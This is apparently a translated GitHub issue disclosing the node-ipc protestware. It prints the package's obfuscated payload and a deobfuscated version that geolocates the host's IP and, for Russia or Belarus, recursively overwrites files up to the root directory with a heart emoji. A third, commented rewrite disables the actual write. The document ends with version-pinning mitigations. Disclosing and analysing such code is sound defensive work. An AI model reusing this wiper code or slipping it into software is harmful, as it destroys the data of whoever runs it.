
node-ipc is malware / protestware!
RIAEvangelist/node-ipc 模块包含抗议软件 peacenotwar。
来自 RIAEvangelist/node-ipc 的摘录:
自 v11.0.0 和 v9.2.2 起,此模块使用了 peacenotwar 模块。
更重要的是,RIAEvangelist/node-ipc 的提交 847047cf7f81ab08352038b2204f0e7633449580 -> 6e344066a0464814a27fbd7ca8422f473956a803 包含恶意软件。
以下代码块是在上方 URL 失效时添加的
import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}
我反混淆了上面的代码,发现如果宿主机的公网 IP 地址来自俄罗斯或白俄罗斯, node-ipc 会递归地向上遍历父目录,用爱心 emoji 覆盖许多文件:
import u from "path";
import a from "fs";
import o from "https";
setTimeout(function () {
const t = Math.round(Math.random() * 4);
if (t > 1) {
return;
}
const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
o.get(n.toString("utf8"), function (t) {
t.on("data", function (t) {
const n = Buffer.from("Li8=", "base64");
const o = Buffer.from("Li4v", "base64");
const r = Buffer.from("Li4vLi4v", "base64");
const f = Buffer.from("Lw==", "base64");
const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
const e = Buffer.from("cnVzc2lh", "base64");
const i = Buffer.from("YmVsYXJ1cw==", "base64");
try {
const s = JSON.parse(t.toString("utf8"));
const u = s[c.toString("utf8")].toLowerCase();
const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
if (a) {
h(n.toString("utf8"));
h(o.toString("utf8"));
h(r.toString("utf8"));
h(f.toString("utf8"));
}
} catch (t) {}
});
});
}, Math.ceil(Math.random() * 1e3));
async function h(n = "", o = "") {
if (!a.existsSync(n)) {
return;
}
let r = [];
try {
r = a.readdirSync(n);
} catch (t) {}
const f = [];
const c = Buffer.from("4p2k77iP", "base64");
for (var e = 0; e < r.length; e++) {
const i = u.join(n, r[e]);
let t = null;
try {
t = a.lstatSync(i);
} catch (t) {
continue;
}
if (t.isDirectory()) {
const s = h(i, o);
s.length > 0 ? f.push(...s) : null;
} else if (i.indexOf(o) >= 0) {
try {
a.writeFile(i, c.toString("utf8"), function () {});
} catch (t) {}
}
}
return f;
}
const ssl = true;
export { ssl as default, ssl };
以下是恶意代码的摘录:
Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
// https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154
const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
// 检查 IP 国家是否为俄罗斯或白俄罗斯
a.writeFile(i, c.toString("utf8"), function () {});
// 用 `❤️` 覆盖文件
以下演示了 a.writeFile(i,c.toString("utf8") 各个参数可能的示例:

我只是让危险代码更好看并加了注释,方便你们尝试。显然,这段代码会删除你驱动器上几乎所有内容。
const path = require("path"); const fs = require("fs"); const https = require("https"); setTimeout(function () { const randomNumber = Math.round(Math.random() * 4); if (randomNumber > 1) { // return; } const apiKey = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154"; const pwd = "./"; const parentDir = "../"; const grandParentDir = "../../"; const root = "/"; const countryName = "country_name"; const russia = "russia"; const belarus = "belarus"; https.get(apiKey, function (message) { message.on("data", function (msgBuffer) { try { const message = JSON.parse(msgBuffer.toString("utf8")); const userCountryName = message[countryName.toString("utf8")].toLowerCase(); const hasRus = userCountryName.includes(russia.toString("utf8")) || userCountryName.includes(belarus.toString("utf8")); // 检查国家是否为俄罗斯或白俄罗斯 if (hasRus) { deleteFile(pwd); deleteFile(parentDir); deleteFile(grandParentDir); deleteFile(root); } } catch (t) {} }); }); // zkyf:让我们在这里直接尝试 deleteFile(pwd); deleteFile(parentDir); deleteFile(grandParentDir); deleteFile(root); }, 100); async function deleteFile(pathName = "", o = "") { if (!fs.existsSync(pathName)) { return; } let fileList = []; try { fileList = fs.readdirSync(pathName); } catch (t) {} const f = []; const heartUtf8 = Buffer.from("4p2k77iP", "base64"); for (var idx = 0; idx < fileList.length; idx++) { const fileName = path.join(pathName, fileList[idx]); let fileInfo = null; try { fileInfo = fs.lstatSync(fileName); } catch (err) { continue; } if (fileInfo.isDirectory()) { const fileSymbol = deleteFile(fileName, o); fileSymbol.length > 0 ? f.push(...fileSymbol) : null; } else if (fileName.indexOf(o) >= 0) { try { // fs.writeFile(fileName, heartUtf8.toString("utf8"), function () {}); // 用 `❤️` 覆盖文件 console.log(`重写 ${fileName}`); } catch (err) {} } } return f; }
以下缓解策略受 cnpm(不是 npm)的缓解方法启发: https://github.com/cnpm/bug-versions/pull/181
如果你使用以下缓解策略之一,请确保移除 ^ 以强制 node-ipc 使用指定版本。
"^9.x.x" -> "9.2.1"
"dependencies": {
- "node-ipc": "^9.x.x"
+ "node-ipc": "9.2.1"
}
"^10.x.x" -> "10.1.0"
"dependencies": {
- "node-ipc": "^10.x.x"
+ "node-ipc": "10.1.0"
}
"^11.x.x" -> "10.1.0"
"dependencies": {
- "node-ipc": "^11.x.x"
+ "node-ipc": "10.1.0"
}
@RIAEvangelist 已禁止我与其仓库交互
控制台: